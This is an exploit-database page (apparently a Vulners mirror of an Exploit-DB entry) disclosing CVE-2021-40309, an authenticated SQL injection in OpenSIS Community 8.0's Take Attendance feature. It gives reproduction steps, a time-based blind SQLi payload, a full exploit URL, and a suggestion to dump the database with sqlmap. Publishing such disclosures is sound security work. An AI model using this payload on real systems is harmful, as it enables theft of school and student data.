Lucene search
+L

OpenSIS Community 8.0 - 'cp_id_miss_attn' SQL Injection (SQLi)

🗓️ 02 Sep 2021 00:00:00Reported by Eric SalarioType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 237 Views

A SQL injection vulnerability in OpenSIS Community 8.0 allows injection of own SQL query via 'cp_id_miss_attn' parameter in TakeAttendance.ph

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-40309
24 Sep 202116:15
–attackerkb
circl
Circl
CVE-2021-40309
24 Sep 202120:30
–circl
cnnvd
CNNVD
OS4Ed OpenSIS SQL Injection Vulnerability
24 Sep 202100:00
–cnnvd
cnvd
CNVD
OpenSIS SQL Injection Vulnerability (CNVD-2021-99287)
26 Sep 202100:00
–cnvd
cve
CVE
CVE-2021-40309
24 Sep 202115:09
–cve
cvelist
Cvelist
CVE-2021-40309
24 Sep 202115:09
–cvelist
euvd
EUVD
EUVD-2021-27492
3 Oct 202520:07
–euvd
mend
Mend
CVE-2021-40309
24 Sep 202115:09
–mend
nvd
NVD
CVE-2021-40309
24 Sep 202116:15
–nvd
osv_cve
osv_cve
CVE-2021-40309
24 Sep 202116:15
–osv_cve
Rows per page
# Exploit Title: OpenSIS Community 8.0 - 'cp_id_miss_attn' SQL Injection
# Date: 09/01/2021
 # Exploit Author: Eric Salario
# Vendor Homepage: http://www.os4ed.com/
# Software Link: https://opensis.com/download
# Version: 8.0
# Tested on: Windows, Linux

A SQL injection vulnerability exists in the Take Attendance functionality of OS4Ed's OpenSIS 8.0. allows an attacker to inject their own SQL query. The cp_id_miss_attn parameter from TakeAttendance.php is vulnerable to SQL injection. An attacker can make an authenticated HTTP request as a user with access to "Take Attendance" functionality to trigger this vulnerability.

Steps to reproduce:

1. Login as "Teacher" and navigate to "Attendance" then "Take Attendance". Capture the request on a web proxy such as BurpSuite Or just navigate to the URL: http://localhost/Ajax.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=27&cpv_id_miss_attn=23&ajax=true

Vulnerable parameter: cp_id_miss_attn

SQLi payload: r AND (SELECT 1670 FROM (SELECT(SLEEP(10)))VSpq)

URL with the payload: http://localhost/Ajax.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=r AND (SELECT 1670 FROM (SELECT(SLEEP(10)))VSpq)&cpv_id_miss_attn=23&ajax=true 2.

The page should load depends on the sleep You can use manual queries to dump database information or use sqlmap.

PoC: https://youtu.be/GGHiPvdPRas

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 26.5
CVSS 3.18.8
EPSS0.01822
237